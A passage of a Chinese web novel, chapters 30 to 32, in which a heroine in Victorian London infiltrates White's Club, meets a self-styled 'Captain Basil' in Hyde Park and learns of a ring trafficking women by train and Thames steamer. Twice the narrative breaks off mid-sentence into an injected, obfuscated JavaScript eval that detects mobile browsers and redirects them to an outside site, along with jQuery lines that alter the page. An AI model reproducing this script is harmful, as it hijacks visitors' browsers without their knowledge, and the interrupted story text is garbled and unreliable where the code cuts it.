伊莱莎点头：“而且是一种香味很特殊的可可，里面加了榛果粉。” “如果我没搞错的话，圣詹姆斯街上有一家俱乐部，从前就是巧克力商店，因此，他们一直给俱乐部成员提供各种口味的巧克力。” 凯莉为她的推理总结陈词：“——是怀特俱乐部。” 30.chapter30 仲夏白日梦 “不过怀特俱乐部，他们不允许女人进去。”凯莉迟疑道，“你要扮成男人吗？” 扮男人她有经验，但是扮富贵男人…… 伊莱莎好像，还真不能确定。 扮成穷人呢？ 穷人去怀特俱乐部找人，真的不会被赶出去吗？ 她坐回扶手椅上，继续缝裙子下的暗袋。 凯莉看她淡定的样子，好奇地从床上蹦下来，走到伊莱莎面前，轻轻踢她的裙子：“你打算怎么办？” “我打算先缝一个可以装枪的口袋。” 伊莱莎向她示意手里的活儿。 室友沃特斯小姐翻了一个大大的白眼：“你明知道我问的不是这个。” “嗯……”伊莱莎点点头，消受了凯莉的好意，“我已经想好要怎么做了，不过有一点小麻烦，需要你帮个忙。” 凯莉热心地问：“是什么？” “劳驾您让一让，把光都挡住了。”伊莱莎试图发挥一点拉德克里夫先生的幽默。 凯莉比了一个“滚啊”的口型，愤怒地转身，继续回床上躺着。 “好吧，开了一个不好笑的玩笑。你放心，我身上会带上枪和子弹的。”伊莱莎咬了咬唇，“如果出了什么意外，你可以去托特纳姆法院路找理查德·拉德克里夫先生，他知道怎么联系我的家里人。” 她犹豫了一会儿，还是没有说洛维拉夫人相关的人，即使菲克逊的能量比小拉德克里夫先生大的多，她也不想让凯莉卷进来。 话里某个人名显然让凯莉眼前一亮，她不想聊不愉快的话题，于是语气故意变得神秘，问伊莱莎：“追求你的拉德克里夫先生？” 伊莱莎严肃地说：“他根本就对我没有那种感情。” 少读点莎士比亚的情诗吧，凯莉小姐——狂风还未吹落五月的花蕾①，但是把伊莱莎的头发吹乱了，她锁好衣服上的线，把装了子弹的枪放进暗袋里，大小正好。 伊莱莎从椅子上起身，把百叶窗放下来。 整个房间都暗了下来，风拍打着窗扇，窗帘轻轻飘起，灰色的阴影像云一样移动。 除去老班尼特店里浓郁的香水味和男女纵欲的糜烂味道，屋里还有伊莱莎身上清新甜蜜的味道与它们搏斗，像是季风拂过青绿的丘陵，把阴霾都吹开了。 凯莉在床上翻了个身，慢慢沉入了梦乡。 伊莱莎戴上她的宽檐草帽，手里提着一个铁盒子，里面除了要寄给常蒂小姐的诗集，剩下的就是她给贝蒂带的甜品。 里面装了一杯乳脂松糕和一块柠檬树莓酱蛋糕，青春期的孩子胃口旺盛，她还在里面装了一个牛肉洋葱芦笋丁作馅的馅饼。 中午从圣詹姆斯街回来之后，天气太热，伊莱莎没有胃口，拌了一份水波蛋苦菊沙拉，她分了一些出来，一并装了进去。 这是刻在她骨子里的对营养均衡和必须吃蔬菜的执念。 走去街角的邮局，伊莱莎把书寄了出去，步行到雅典娜音乐厅。 “哇！”贝蒂两眼放光，一脸崇拜地看着她，假如造物主愿意给她装上一条尾巴，那一定摇得飞快，“莉兹，你真厉害！” 乳脂松糕就像是甜品里的大杂烩，用马德拉海绵蛋糕做底，放上覆盆子果冻，浇一层鲜奶油，再放上脆饼碎，盖上另一块浸了雪莉酒的海绵蛋糕，放上草莓和树莓，在水果中间再淋上奶油。 并不出乎她的意料，贝蒂果断地无视了那一盘苦菊，把足有两个巴掌大的馅饼吃得一干二净。 “今天艾琳小姐要唱夏莫尼的琳达里面皮耶罗脱唱的曲子，那可是反串噢！”贝蒂嘴里含了一大块草莓，兴奋地告诉伊莱莎。 女低音的好角色并不多，为了工作，往往也会去演出原本是为女中音写的声部。 大部分供她们扮演的角色都是成熟女性，除此之外，她们还会扮演一些男性角色。 艾琳反串也很正常。 伊莱莎忙完今天的活儿，发现艾琳今天来得晚了一些，还没有演出完。 她带着贝蒂，偷偷溜到后排，默不作声地混进去，倾听艾琳的歌唱。 靠近艾琳让她舒服很多，伊莱莎感觉自己像是在偷偷吸人。 贝蒂用胳膊捣了一下她，问：“你觉得怎么样？” 伊莱莎神情古怪：“技巧很到位吧……” 虽然她并不熟悉女低音是不是也分花腔抒情和戏剧等等类型，对发音技巧也不了解，但是她总觉得比起皮耶罗脱唱的忧愁的民谣，艾琳的感情更像是……愤怒？ “她应该去唱夏庞蒂埃的美狄亚。” 贝蒂好奇地看着她，伊莱莎解释道：“艾琳小姐听上去有点像是要去杀了负心汉。” “听你一说，好像是有一点感觉。”贝蒂称赞道，“你对感情很敏锐嘛！” 演出结束，灯光慢慢亮起，趁着观众鼓掌的当头，伊莱莎拉着贝蒂从帷幕后面赶紧离开，要是被经理抓到了，她们又要被教训。 “明天想吃什么？”伊莱莎收拾好针线和熨斗，问贝蒂，“巧克力怎么样？” 贝蒂眨了眨眼睛，很意外地看着她，没有说话。 “怎么了，贝蒂，你不喜欢巧克力吗？那橙子怎么样？” 伊莱莎检查了烧熨斗烙铁的火有没有灭掉，再把衣橱锁上，钥匙等会儿放到经理的办公室，她忙完每日的工作安全检查，转过头来发现贝蒂还愣着。 “我都可以。”贝蒂咬着唇，飞快地说，“哎呀，我得去拉幕布了，不然等会儿经理又要骂我。” 贝蒂跟家里吵架了，为什么吵架伊莱莎并不清楚。 既然小姑娘不想说，她也不会去追问。 贝蒂从来不知道，聪明和善良两种品质组合在一起竟然能这样让人心碎，她不知道莉兹为什么对她这么好，也许是因为她对所有人都很友善。 但是一个聪明人粘上善良就会变成一个大笨蛋。 她很想告诉莉兹，如果不能一直对别人这么好的话，那么干脆一开始就不要施舍好心。 伊莱莎并不知道青春期少女的世界因为她的友情而天翻地覆，她像公共马车一样，按照固定的路线生活，从雅典娜音乐厅离开之后去了圣约翰伍德的罗斯玛丽香水店。 当厨师忙得她连话都说不了几句，也没有另一个凯莉意外闯入带给她喘息的空隙。 厨房在宴会厅的底层，既不明亮也不通风，两个厨房女佣帮忙备菜，她负责烹饪菜式，还要检查她们的揉面情况，最后还得负责把食物摆出一个物有所值的样式——裱花也指望不上两个小女佣。 汗水把衣服湿透了，伊莱莎提着餐篮子，在下班路上被风吹得背上发凉。 骑士桥临近军营驻地，在治安上很可靠，她一边走路，一边祈祷上帝保佑她千万不要感染风寒。 女房东已经睡下，伊莱莎开了门，凯莉当然没在屋子里。 她把炉子上的温水加热，把全身擦了一遍，再换上睡衣，融化在了床上。 第二天，伊莱莎换上一身鹅黄色的套裙，上衣绣了星星点点的小雏菊，衣领做成花边褶子的装饰，裙子则是简洁的筒裙，只在裙边用白色的丝线绣了藤蔓的花纹。 她提着餐篮，为了达到最真实的效果，一路步行到圣詹姆斯街，碎发粘在她出汗的鬓边。 怀特俱乐部的门口站着两个穿着制服的神气侍者，伊莱莎走到他们面前，说道：“你好，先生。《每日邮报》的主编沃斯先生派我来给兰戴尔·派克先生送东西，还有一些甜品。” 她拿出印了兰戴尔·派克私人徽记的信封，装得天真又困惑：“沃斯先生说，给您看这个就可以了。” 侍者接过信，上下打量了伊莱莎几眼，又检查了她的篮子里的东西，确认只是无害的甜品，便一扬下巴，让她跟着自己过来。 仆人的专用通道在侧边，是一条幽暗的小通道。 推开了通道的铁门，他们从楼梯走下，到了一楼的地下室，这里通常也是厨房的所在地。 伊莱莎半是好奇半是恭维地说：“听说从怀特俱乐部二楼的凸肚窗望出去，看到的风景是整个圣詹姆斯区最好的，派克先生是成天都坐在那里吗？” 侍者对没见过世面的小女仆矜持地哼了一声。 “我听沃斯先生说，派克先生在俱乐部里一直都穿着晨袍呢。”她的声音带着几分笑意。 “我们的俱乐部是绅士俱乐部，”侍者义正词严地说，“兰戴尔·派克先生一直穿的都是合乎礼仪的黑色礼服。” 侍者埋头在餐橱里找装蛋糕的碟子和甜品架，他背对着伊莱莎问：“你觉得用几英寸的架子比较好，六英寸，八英寸？——小姐？” 一直得不到回应，他终于转头，想要看看这个女孩在搞什么…… “小姐、小姐？” 人呢？ 伊莱莎的裙摆擦过仆人走廊里的黑铁扶手，经年累月的摩擦让它油光水滑，墙壁上留着水桶剐蹭的细长瘢痕。 她提着餐篮，轻快的脚步在木地板上敲下咚咚的回音。 地板没有铺地毯，只有她的足音在空寂的走廊里回荡。 她可以很清楚地知道，那个侍者还没有追过来。 伊莱莎 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15361370|165096||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 上了楼梯，推开尽头那扇让仆人走的窄门，明亮的光线溢出来，让身处黑暗的她陷入了短暂的失明。 白天的怀特俱乐部没有她想的那么乌烟瘴气，一百多年前，这家俱乐部的会员彻夜狂欢，有大片地产在圣詹姆斯街的夜赌中轮换了主人。 空气里飘着东方风情的熏香，厚重干燥的木质调和古龙水里的佛手柑混合在一起，充盈在宽阔的厅堂里。 铜枝吊灯没有点亮，临近中午，日光十分充足，一些光线被遮挡的地方放了灯盏驱赶阴影。 深紫色的壁纸上印着金色的藤蔓纹饰，金粉有些脱落。 墙上挂着壁钟，壁钟上有米迦勒的石膏像。 旁边挂着一副巨大的英国骑兵在滑铁卢战役的冲锋图，国王和历任首相的肖像交错着排布，大理石壁炉上撑开了一张绣着帝国疆域的壁毯，壁毯上钉着一个巨大的鹿头标本。 穿着黑色和深灰色晨礼服的绅士们在啜饮咖啡和茶，小桌之间被绿植隔开，很好地保护了谈话的私密性。 今天，怀特俱乐部和谐的日常被突然闯入的不速之客打破了。 这个女人——还是打扮这么寒酸的女人，是从哪里冒出来的？ 俱乐部成员们面面相觑。 不管是一个女人出现在怀特俱乐部，还是一个穿着朴素的女人出现在绅士俱乐部，这样的事都过于离奇。 大厅的来来往往的服务侍者们愣愣地看着无法理解的事，没有一拥而上把她拉出去。 伊莱莎提着餐篮，顶着全场所有人的目光，气势汹汹地走到窗边。 “兰戴尔·派克先生，不来欢迎一下我吗？” 坐在椅子上的男人放下手中的《每日邮报》，露出一张矛盾的脸。 他蓄着跟死去的德伯维尔同样的胡须，左眼用眉骨和颧骨之间的凹陷夹住一只单边眼镜，疯狂和理性在一张脸上胶着。 “小姐，篮子里装的是什么？”他站起身说话，从伊莱莎头顶传来的声音很低沉。 “巧克力蛋糕。” 男人忍不住笑了，“啊，那真是很遗憾了。” 什么意思？ 有话不能说明白吗？ 又是一位赫拉克利特②，一想到等会儿她要跟这个人打交道，伊莱莎感觉自己头都大了一圈。 “小姐，别害怕。放轻松——”兰戴尔·派克拿起帽子，突然走近，站到伊莱莎的面前。 “不过也别太松懈……”他取下眼镜，对伊莱莎眨眨眼，“把你的篮子抓紧了。” 什么？ 他看了一眼想要靠近的侍者，突然伸手拔出伊莱莎的帽针，摘下帽子，抓住她空着的左手臂，拉着她径直穿过二楼的大厅，从宽阔的旋转楼梯下飞奔而下。 这是怎么回事！ 侍者在他们背后惊呼：“派克先生——” 兰戴尔·派克步子迈得太大，伊莱莎感觉自己快要脱离地面了，她之所以没有摔倒在地毯上，完全得益于这个男人像铁钳一样的手一直抓着她的胳膊。 但是难道还要她说谢谢吗？ 鹅黄色的裙摆和帽子上的天蓝色飘带从深红印花的地毯上展开，又倏忽消失，像是一个明亮如泡沫的幻影。 穿着弗洛克大衣的男人拉着伊莱莎跑过乔治时代的回廊，绕开摄政时期的屏风，在马达加斯加的散尾葵、科西嘉岛的星百合和硕大无朋的红色重瓣山茶树的层叠花架之间穿梭。 最后，他们跑到伊莱莎没能进入的大门。 兰戴尔·派克按下黄铜门把手，猛地推开。 玻璃门上的彩色玻璃和弯曲的铁艺花纹隔开了诧异的门卫。 初夏的风把街道两边悬挂的杰克旗和王室旗吹得哗哗作响。 街上往来的行人都吃惊地看着这对造型奇异的男女，男人高大挺拔，女孩清丽柔美，看上去像是从疯人院跑出来的一对璧人。 伊莱莎感觉自己脸皮已经够厚了，但在所有人的目光注视之下还是想找个缝儿钻进去。 兰戴尔·派克神色如常，一场奔跑甚至没让他的喘息加重半分。 他吹了一声响亮的呼哨，街角驶来一辆两轮轻便马车，伊莱莎被他抓着塞进了透亮的车厢，男人手上的水晶戒指硌得她胳膊生疼。 “去海德公园。” 去海德公园干什么，难道不该去贝特莱姆③吗？ 兰戴尔·派克侧着身子，通过玻璃车窗观察着后面的情况，伊莱莎同时也在观察着他。 折射的反光映在他的脸上，眉骨的阴影之下，他的灰色眼睛像伦敦的浓雾，连阳光也照不透。 31.chapter31 悬铃木叶下 马车从蓓尔美尔街驶过，绕过干草市场，却并没有转向皮卡迪利街，而是去了与海德公园背向的索霍区。 车厢上视野宽敞的玻璃让男人方便观察车后的情况，同时也让车外的路人能看到里面发生了什么。 这多少给了伊莱莎一点安全感。 虽然车夫净挑小路绕道，路上行人也没有多少。 衣袋里的枪沉重地靠在她的腰间，伊莱莎对伦敦的地形道路都不熟，能把骑士桥一带到圣詹姆斯区记得就不错了。 她又不是以前的无业游民可以到处乱晃。 车夫是一个棕发中年男人，脸膛通红，身上没有酒气。 他赶车时不像伦敦常见的出租马车夫，闲散自在地靠在车厢上，反而坐得端正挺直。 与这幅坐姿所不匹配的是他的脖子总是不受控制地前倾，伊莱莎疑心他是近视，又发现他不怎么眯眼。 难道是为了避免风灯打到他的头吗？ 但是风灯也不会挂这么矮。 她看不到车夫的正脸，只能勉强记住他的背影。 离开阴暗的街区，五月明亮的阳光又照了进来，玻璃上的反光闪了她一下。 伊莱莎回过神来，发现兰戴尔·派克正在看她。 奇怪，他的灰眼睛这时候竟然变得十分透亮。 她应该笑一下吗？ 如果对面坐的是凯莉，她早就跟伊莱莎一起捧腹大笑了。 凯莉还会跟她模仿一个叼着雪茄的绅士惊得让嘴里的东西掉进了茶杯。 虽然今天的遭遇十分荒谬，但越是在这样奇怪的时候，伊莱莎就越想笑。 她陷入了一个尴尬的矛盾境地，因为除去想笑之外，伊莱莎还一点也不想给这个奇怪的男人好脸色看。 男人用手指敲了下膝盖，“小姐，我们到了。” 马车停在公园的东南角，路边矗立着由两排夏栎。 兰戴尔·派克打开车厢门，戴上帽子，率先跳下去。 伊莱莎看着他，男人疑惑地问：“需要我找人扶你吗，小姐？” 他退后几步，打算给车夫让出位置。 伊莱莎看了眼他的帽子，按下胸腔里的恼怒，试图装成处变不惊的模样，道：“我的帽子，还我！” “抱歉。”兰戴尔·派克毫无诚意地说。 他从口袋里掏出三先令递给马车夫，顺手把帽子递给伊莱莎。 她平静地接过帽子，往凌乱的头发上随便一扣，打开篮子检查里面的情况。 巧克力海绵蛋糕装在带着盖子的碗里，伊莱莎很寂寞地用白糖霜和可可画了一只熊猫，现在已经糊做一团了。 可可磅蛋糕倒是不动如山，伊莱莎试验性地在里面加了一层牛奶布丁夹心，保守的老/鸨班尼特并不欣赏，把它打了回去。 用来迷惑侍者的马卡龙被甩得稀碎，苏格兰黄油饼干在一片废墟里坚强挺立着。 剩下的是一个足有小臂长的香煎芦笋鸡肉卷，被伊莱莎拿油纸裹着，用细麻绳五花大绑起来。 幸好碎的是饼干渣，奶油被压在盖子下，没有流得到处都是。 伊莱莎草草地收拾了一下篮子，同时在内心酝酿了一会儿开场白。 跟幼稚捉迷藏男打交道和跟神经狂奔男打交道，哪一个更轻松，她也说不出来。 哪怕是刚穿越到现在这个世界时，她都没有这么混乱过。 “你……” 她正要开口说话，兰戴尔·派克突然打断了她，“抱歉，小姐，失陪一下。” 伊莱莎只好望着他走向角落里一个小贩的摊位，那似乎是卖啤酒、茶和其他饮品的地方，旁边还堆着一些野餐布、餐篮和椅子。 兰戴尔·派克从口袋里掏钱递给小贩，转身走回来，伊莱莎看见他的怀里抱着一把朴素的象牙黄小阳伞，一块绿色格子的野餐布，还有两个玻璃瓶。 这个男人果然是从贝特莱姆跑出来的吧！ 兰戴尔·派克走到伊莱莎面前，递给她一瓶滴了柠檬汁的苏打水，苏打水里的柠檬香得不正常，伊莱莎抿着嘴摇头。 她不想喝外面的饮品。 虽然被拒绝了，男人神色依旧如常。 他把怀中的阳伞递给伊莱莎，“帮个忙吧，小姐。” 伊莱莎接过阳伞，并没有打开。 伞面散发出甜过头的玫瑰精油味，谁知道这把老旧的伞沾过什么东西。 兰戴尔·派克腾出手来，抓着汽水瓶子，满意地点头道：“跟我来，现在日头正盛，我们找个好地方。” 从行道树背后离开大道，二球悬铃木的叶子在风中微微摇动。 他们走过玫瑰花园，道路尽头的九曲湖泛着粼粼的波光，在雪莱蹲下来向湖里漂纸船的地方，兰戴尔·派克引着她向北，走向一片如茵绿草。 远离喧闹的绿地尽头分布着几棵撑着巨大树冠的榉树，伊莱莎跟随着他往远处走去，最后他们在一棵像罗马人所统治时代的祭司一样古老的榉树下站定。 兰戴尔·派克绕着树走了一圈，伊莱莎茫然地跟着他打转。 他站定回头，对伊莱莎说：“就这里吧。” 绿色格子的野餐布被摊开，摆在草地上。 兰戴尔·派克率先坐下，以一个非常不符合绅士规范的姿势伸直腿，瘫倒在上面。 他对伊莱莎说：“我们已经看过了，树后面没有人。” 伊莱莎把篮子和阳伞放在餐布上，环顾四周，这里虽然少有人往，但草地边缘的路上还有行人经过。 是一个安全的公共场合，同时也不会有人听到他们的谈话。 她屈膝跪坐在野餐布上，取下帽子，把松散凌乱的头发完全解开，拢到颈侧，慢慢地编一个单边麻花辫。 兰戴尔·派克殷勤地撑开阳伞，为她挡住从树叶缝隙里洒下来的阳光。 伊莱莎说：“我不用伞。” “噢，”兰戴尔·派克顺势把伞撑到自己肩头，“那我拿来用了。” 这个男人真的是…… 伊莱莎已经看到有好几个路过的人送来诧异的目光了。 她深吸一口气：“算了，麻烦你帮我撑一下伞。” 兰戴尔·派克从善如流，立刻曲着腿坐起来，为她撑伞。 头发梳好了，她戴上帽子，男人顺手把她的帽针别在天蓝的缎带上，把伞递给她。 “为什么带我来这里？”伊莱莎接过伞问他。 “显而易见，这里很安全，不会有人偷听我们的谈话。” 兰戴尔·派克恢复了躺姿，惬意地闭着眼，初夏的风把他散落的头发从额头吹开。 伊莱莎继续问：“那怀特俱乐部为什么是不安全的，为什么要让马车特意绕道，是有人在跟踪我们吗？” “是啊。” “跟踪我们的是兰戴尔·派克吗？” 她的话音刚落下，男人便睁开了眼，转头看向伊莱莎。 青草更青之处，是少女那双沉静的绿眼。 男人慢悠悠地说：“你觉得兰戴尔·派克是什么？” 当我们谈论兰戴尔·派克时，谈论的是一个人，还是威斯特摩兰郡境内的两座山呢？ “兰戴尔·派克不是一个名字，而是一个职位，或者是称号？怀特俱乐部的男仆和其他成员都没有质疑你，你是兰戴尔·派克的孪生兄弟？你们轮流出现在公众面前？”伊莱莎畅想传奇小说里的情节，“但不管怎么说，你都不是给我写信邀请我的人。” 他被伊莱莎天马行空的想象逗得笑了几声，道：“为什么？” “你手上的戒指不对。”她伸手指着那枚硌着自己胳膊的水晶戒指。 男人好奇地说：“你没见过真的，怎么能证明这是假的呢？” 伊莱莎从餐篮里拿出信件，取出纸条。 这张纸的质量非常好，厚实得像一块板子，也就意味着上面会留下不少痕迹。 伊莱莎从纷乱的纸纹里挑出一道约莫一个指节长的印痕，指给他看：“指环的粗细不对，而且非常地明显，你的指环太细了。” 男人接过纸条，在日光下细看。 她解释道：“给我写信的人觉得戒指上的宝石不合手，所以把戒指绕着指头转了一圈，让宝石转到了朝着掌心的方 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15378499|165096||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 向，你看，指环的形状就印在了纸上。” “我难道不能换着戒指戴吗，这可不是结婚戒指。”男人笑了笑，反问她。 伊莱莎从他手里抽回纸条，“但你又不会换个地方呆。” 感谢亲爱的可可，当侍者在餐具柜里翻找东西的时候，她在厨房的墙上看到了一张风味巧克力供应表，怀特俱乐部一周七天提供的可可都不同。 伊莱莎稍稍靠近他的肩头的位置，鼻翼微动：“你身上有——且只有覆盆子巧克力的味道，这是今天提供的口味，但是昨天提供的是榛子巧克力，再前一天是蔓越莓巧克力。” “据我所知，兰戴尔·派克在入夏之后就没有离开过怀特俱乐部。” 他抬起袖子，放到鼻尖下嗅闻，同时反驳道：“要是能让人知道自己的行踪，那就不是兰戴尔·派克了。” 少女狠狠地瞪了男人一眼，泄气道：“好吧，还有一个比较唯心的想法。” “——我从直觉上感觉你不是给我写信的人。” “哪里有不同吗？”他憋笑，“难道不都是一副从疯人院里溜出来的样子吗？” 这个“都”差不多承认了伊莱莎的猜想是对的。 她组织了一下语言，道：“您比给我写信的人更善良。” 善良的男人好整以暇地看着她，这样的眼睛和鹰钩鼻组合在一起，让他的目光非常具有穿透性。 伊莱莎忍不住刺他一句：“虽然您的手段有点过于戏剧化了——我没有想到过兰戴尔·派克会帮我解围，姑且这样称呼给我写信的人吧。” “他摆明了是想为难我，给我写一张没有地址的纸条，在不让女人和穷人进入的怀特俱乐部等我。如果你是给我写信的人，那你只会看着侍者们团团围上来，把我押走，关到地下室去。” “既然能想到这样的处境，你打算怎么办呢？” 他真的很好奇这个姑娘要怎么办。 伊莱莎伸手从口袋里掏枪，她的衣裙经过奔跑翻卷得乱七八糟的，要从暗袋里掏出来有些不灵活。 男人别开眼，没有看因她的动作而展露出来的身体线条。 “看吧。”她把枪放到野餐布上。 是位于蓓尔美尔街十四号的考特枪炮公司所售卖的四英寸枪管转轮手枪。 “怀特俱乐部里的成员非富即贵，要是因为兰戴尔·派克的缘故让他们受了惊吓，即使他知道伦敦所有的消息，他也有可能在那儿待不下去。” 男人幽深的目光凝视着她：“那你呢？” 赌兰戴尔·派克会帮她解围，还是赌自己被关进警察局？ 这个柔弱得像黄水仙一样的女孩有种孤注一掷的赌徒心理。 他说话的语速放慢，像是讲道坛上的牧师讲经一样：“他还可以去第欧根尼俱乐部。当然，不到万不得已，他是不会去的。” “不到万不得已，我也不想去警察局……或者新门监狱。” 伊莱莎把枪拿起来，装回衣袋中：“让我们回归正题吧，我想你应该知道我的名字了。 “不管是从艾玛旅馆那里还是从《每日邮报》的编辑那里，或者是刊登寻人启事的拉德克里夫先生那里知道的。我叫伊丽莎白·帕夫。” “你就是拉德克里夫先生口中的伊莱莎小姐。”男人意味深长地说。 理查德·拉德克里夫喊自己的教名昵称是他们约定好的，免得他一时嘴快喊错了姓，这也是凯莉为什么会误会他在追求她。 但是被这个男人这么一说，听起来真是莫名其妙。 “你呢？”伊莱莎表明了自己用假名的诚意，询问对方的姓名，“难道我要叫你派克先生吗？” 男人用食指摸了摸上唇的胡须，道：“巴斯尔……船长①。” 他从马甲口袋里掏出一对十字架项链，递给伊莱莎，“把这个东西交给我的人告诉我，帕夫太太还活着——至少在上周他最后一次见到她时。” 伊莱莎接过这对十字架，银制的老物件，上面有新刻下的痕迹： D.J.和E.L.D. 是多丽丝·琼斯和她的名字的缩写。 32.chapter32 各取所需 “拉德克里夫先生跟我提起过这对十字架。” 理查德·拉德克里夫先生的祖母，也就是磨坊主老板的母亲，是帕夫太太的教母。 帕夫太太来到伦敦后给自己的老教母买了一块玻璃版画，又买了三副十字架，其中的一只送给了小拉德克里夫。 剩下的那对，一只留给多丽丝，另一只等伊莱莎来了伦敦之后再给她。 拉丁式纵长十字架，铜镀银材质，正面右侧有铸造时间，1776.12.25，背部用针刺出了未来主人的名字缩写。 伊莱莎一一核对，巴斯尔船长给她的这对十字架同小拉德克里夫先生描述的一模一样。 她抬眼问对方：“你是怎么得到它们的？” 巴斯尔说：“这说来话长……” 他觑了一眼少女拉下去的严肃脸色，立马道：“我尽量长话短说。” “三月十三，兰贝斯的制伞女工莉莉·伊宁顿失踪，周围的人都说她跟一个木材商人私奔了，但是她的母亲不相信她会这么做，于是委托我寻找她。” “四月二日，皮姆利科拉普斯街的玛格丽特·德莱礼小姐找到我，她怀疑她的同行，一个妓女简·伯德，被人骗走了。” 巴特西路上的一家寄宿店的女仆格莱希亚·林顿、旺兹沃斯区的水手鲁特兰德的小女儿玛丽·鲁特兰德…… 这些失踪女孩的名字在男人冷静的语气里流出，像是从水里打捞出来的一样，还带着冰冷的水汽。 “都是泰晤士河的沿岸地区，”伊莱莎道，“但是帕夫太太是在圣约翰伍德失踪的，你怎么确定他们是同一批？” 这个时代没有手机，也没有互联网，想要了解地形，除了靠脚步去丈量，剩下的就是去图书馆或者书店找本地图册来看。 伊莱莎来到伦敦联系上菲克逊之后，她干的第一件事就是借用他书房收藏的地图，拿出高三备考的毅力，咬牙把内伦敦主要地区的划分背了下来。 虽然对路线和具体的街景还不熟悉，但是哪个教区在哪个方位，她已经大致记住了。 巴斯尔点头：“看上去跟河流没有关系。事实上，她们最后被人看到的地方，是在附近的火车站。” “伦敦失踪的人不胜其数。这些女孩或许遭遇了不幸已经不在人世；或许只是单纯追求爱情，跟着爱人私奔了；也有可能她们受够了现在的生活，想要换个地方换个重新开始……” “从表面上看，她们的失踪似乎没有关联，甚至不能称之为‘失踪’。” “但她们消失的时候都有一个奇妙的巧合，那就是她们都在晚班列车的时间点不见身影。” “至于她们的去处，我想与其假惺惺地粉饰太平，不如坦白直说吧——现代巴比伦的祭品，一桩罪恶的跨国人口贩卖生意。” 伊莱莎深深地吸气，阳伞上沾到的精油散发出了浓郁的花香，她觉得自己有点晕眩。 帕夫太太的年纪不对，但是多丽丝…… 她开口时嗓子有点干涩：“如果她们是坐火车离开的，那么不管是在登车的站点还是下车的站点都会有检票记录，在海关那里也会有登记。 “而且，只要女孩有一丝动摇，她都能很方便地逃脱掉。用客运火车上运输一个活人，不管是迷晕她还是挟持她难度都很大” 巴斯尔的眼睛看着她，二人对视一眼，伊莱莎继续说，“最好的方式是从泰晤士河的码头上乘坐轮渡。只要贿赂好船长和登记员，再把女孩们迷晕就好了，蒸汽船比火车藏人方便得多。 “除非她们敢跳河，不然是不可能逃脱掉的。” 那么，帕夫太太是怎么卷进去的？ 伊莱莎问他：“你查到的失踪名单里有多丽丝·琼斯吗？” 巴斯尔沉默片刻，道：“骗子约女孩们在坎农街火车站相见，再把她们迷晕，塞进马车。在夜晚的遮掩下，秘密的行径不会被发觉。” “他们赶着马车到白教堂区的圣凯瑟琳码头，把她们转移到客运驳船上，运到伦敦码头，停留的轮渡会把她们运出去。” 十九世纪八十年代，有六千艘蒸汽船和五千只帆船在使用泰晤士河的水波。 在这么多船只里，偷运的船就像一滴水落进泰晤士河里，怎么会有人注意到不对呢？ “至于伊迪丝·埃林小姐……”巴斯尔斟酌了一下，“我打听到的并不多，骗她的商人为了打消她的戒心，告诉她会有其他女孩跟她同行，她们会一起去海边别墅度假。” 不知道伊迪丝是不是得知了其他的女孩里面有多丽丝·琼斯，还是她为了骗帕夫太太陪她一起去，编造了一个谎言。 她既不愿意把机会分享给班尼特手下的其他妓女，又害怕自己一个人去不安全，于是便说服帕夫太太陪同她一起去火车站。 既然有其他人，那么她再带上一个人应该也不会有问题。 问起来就说帕夫太太是她的贴身女仆。 “帕夫太太打乱了他们的计划。这些被拐骗的女孩们要么是怀春的少女，可以伪装她们跟人私奔；要么是在雇主家当女仆，仆人偷偷跑掉是常有的事；要么是妓女，没有人关心她们的死活。 “但帕夫太太不同，他们不想引起注意……” 所以他们派车夫去艾玛旅馆取了她的行李，假装她是自己离开了伦敦。 伊莱莎使劲儿咬着嘴唇，巴斯尔接着说：“在伦敦不像在乡下，想要无声无息地处理掉一具尸体没那么简单。就算是抛尸进泰晤士河，也很容易被渔民们打捞发现。” “就像简·伯德，我们已经在上周发现了她的尸体。” “我们”？ 伊莱莎敏锐地捕捉到这个人称，他是苏格兰场的警官吗？ 尽管帕夫太太遇害的可能性不小，伊莱莎还是飞速运转大脑找理由安慰自己。 死掉的女孩简·伯德也许会让人口贩子们暂时不敢轻举妄动，而她和小拉德克里夫先生在报纸上刊登的寻人启事也说明帕夫太太并不是不是无依无靠的边缘人。 除此之外呢，她还能做什么？ “我能帮你什么忙吗？” 巴斯尔的目光从她握着伞柄的手滑到她的脖子，再移向她的发辫，最后停留在她的脸上，“他们并不是铁板一块。” 伊莱莎的眼睛亮了亮，想到了把十字架给巴斯尔的人——马车夫。 她立刻反应道：“我想驾驶着载着昏迷姑娘还要穿过白教堂区的马车夫冒了巨大的风险，却并不能拿到跟人口贩子一样丰厚的报酬。” 巴斯尔竖起手指，抵着下唇：“这只是一点。不知道你有没有观察或者了解过马车夫们，虽然伦敦的公共马车夫在坐地起价上像个无赖恶棍，但事实上他们这群人有一些朴素的正义感，还存在着一种惺惺相惜的情感①。他们会帮助失业的同行介绍工作，并且监督他们不要走上歧途。” “载运一些灰色地带的边缘人物偷渡或许还在他们的接受范围之内，但是让他们参与人口贩卖已经让他们的良知不适了，更不必说杀人灭口。” 伊莱莎领会了他的意思，把手中的十字架举起来，悬在二人之间：“把这对十字架交给你的人怎么说？” 是一个聪明的姑娘。 巴斯尔无声 